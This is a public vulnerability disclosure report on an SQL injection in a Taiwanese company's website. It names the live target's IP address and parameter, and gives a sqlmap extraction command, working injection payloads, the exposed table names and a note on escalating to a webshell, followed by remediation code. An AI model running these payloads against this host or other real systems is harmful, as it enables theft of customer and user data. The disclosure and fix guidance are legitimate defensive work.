Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-00834
- Vendor: 璽品屋國際有限公司
- Title: 璽品屋國際有限公司 存在資料庫注入漏洞
- Introduction: 於 news_list 頁面之 GET 參數 type_no 發現未過濾之 SQL 注入點。該參數直接拼接入資料庫查詢語法,未進行型別檢查或預編譯處理,導致攻擊者可透過標準 SQLi 手法提取資料庫資訊、資料表結構與業務資料。
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2026/06/10 19:09:26 : 新提交 (由 小道 更新此狀態)
- 2026/06/10 19:11:13 : 新提交 (由 小道 更新此狀態)
- 2026/06/12 10:30:57 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/07/02 17:39:06 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/07/02 17:39:06 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/07/02 17:39:06 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/08/10 03:00:11 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-00834
- 通報者:104nana (小道)
- 風險:嚴重
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
敘述
於 news_list 頁面之 GET 參數 type_no 發現未過濾之 SQL 注入點。該參數直接拼接入資料庫查詢語法,未進行型別檢查或預編譯處理,導致攻擊者可透過標準 SQLi 手法提取資料庫資訊、資料表結構與業務資料。
影響範圍
資料庫名稱:trans_website
後端環境:MySQL >= 5.1 / Apache 2.4.62 / PHP 7.4.33 / Linux
暴露資料表:共偵測到 47 個資料表,包含核心業務與敏感資訊,例如:
User、Userright(使用者帳號與權限)
Customer、Customer_addr(客戶基本資料與地址)
Quote、Invoicing、Salse(報價單、發票與銷售紀錄)
ci_sessions(PHP Session 儲存表,可能含未加密的登入狀態或敏感暫存值)
重現步驟 (PoC)
正常請求:
http://175.99.138.29/index.php/main/news_list/?type_no=02
注入觸發:
於參數後追加單引號 ',觀察頁面回傳 MySQL 語法錯誤或內容異常。
自動化偵測與提取(使用 sqlmap):
bash
sqlmap -u "http://175.99.138.29/index.php/main/news_list/?type_no=02" --batch --dbs --tables
驗證日誌摘要(已截錄關鍵輸出):
Parameter: type_no (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: type_no=02' AND 5647=5647 AND 'ZdkD'='ZdkD
Type: error-based
Title: MySQL >= 5.1 AND error-based ... (EXTRACTVALUE)
Payload: type_no=02' AND EXTRACTVALUE(7955,CONCAT(...)) AND 'UwHY'='UwHY
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: type_no=02' AND (SELECT 6505 FROM (SELECT(SLEEP(5)))BvID) AND 'jkbg'='jkbg
Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: type_no=02' UNION ALL SELECT NULL,NULL,CONCAT(...),NULL,NULL-- -
Database: trans_website
[47 tables] ... | User | Customer | Quote | Invoicing | ci_sessions | ...
潛在影響
透過 UNION 查詢可擷取任意欄位資料(如使用者密碼雜湊、客戶聯絡資訊)。
利用 EXTRACTVALUE / SLEEP 可進行盲注提取系統版本、資料庫配置或敏感暫存值。
若 MySQL 具備檔案寫入權限 (secure_file_priv 未限制),可進一步寫入 Webshell 取得伺服器控制權 (RCE)。
修補建議
修補建議
參數化查詢(Prepared Statements):最推薦之解法,徹底隔離 SQL 語法與資料。
php
// PDO 範例
$stmt = $pdo->prepare('SELECT * FROM news WHERE type_no = :type');
$stmt->execute(['type' => $_GET['type_no']]);
$result = $stmt->fetchAll();
// MySQLi 範例
$stmt = $mysqli->prepare('SELECT * FROM news WHERE type_no = ?');
$stmt->bind_param("s", $_GET['type_no']);
$stmt->execute();
強型別輸入驗證:若 type_no 僅接受數字,於 PHP 端強制轉換:
php
$type = intval($_GET['type_no']); // 或 filter_input(INPUT_GET, 'type_no', FILTER_VALIDATE_INT)
if ($type === false || $type < 1) { exit('Invalid type'); }
最小權限原則:資料庫連線帳號應僅授予 SELECT、INSERT、UPDATE 必要權限,避免使用 root 或具備 FILE 權限的帳號。
部署 WAF / IPS(臨時防護):於前端配置 ModSecurity 或 Cloudflare SQLi Rule Set,阻斷自動化工具掃描與常見注入 Payload。
升級老舊環境:PHP 7.4 已於 2022/11 EOL,MySQL >=5.1 亦缺乏近年安全修補。建議配合代碼重構,遷移至 PHP 8.x + MySQL 8.0+ 以獲得最佳效能與安全性。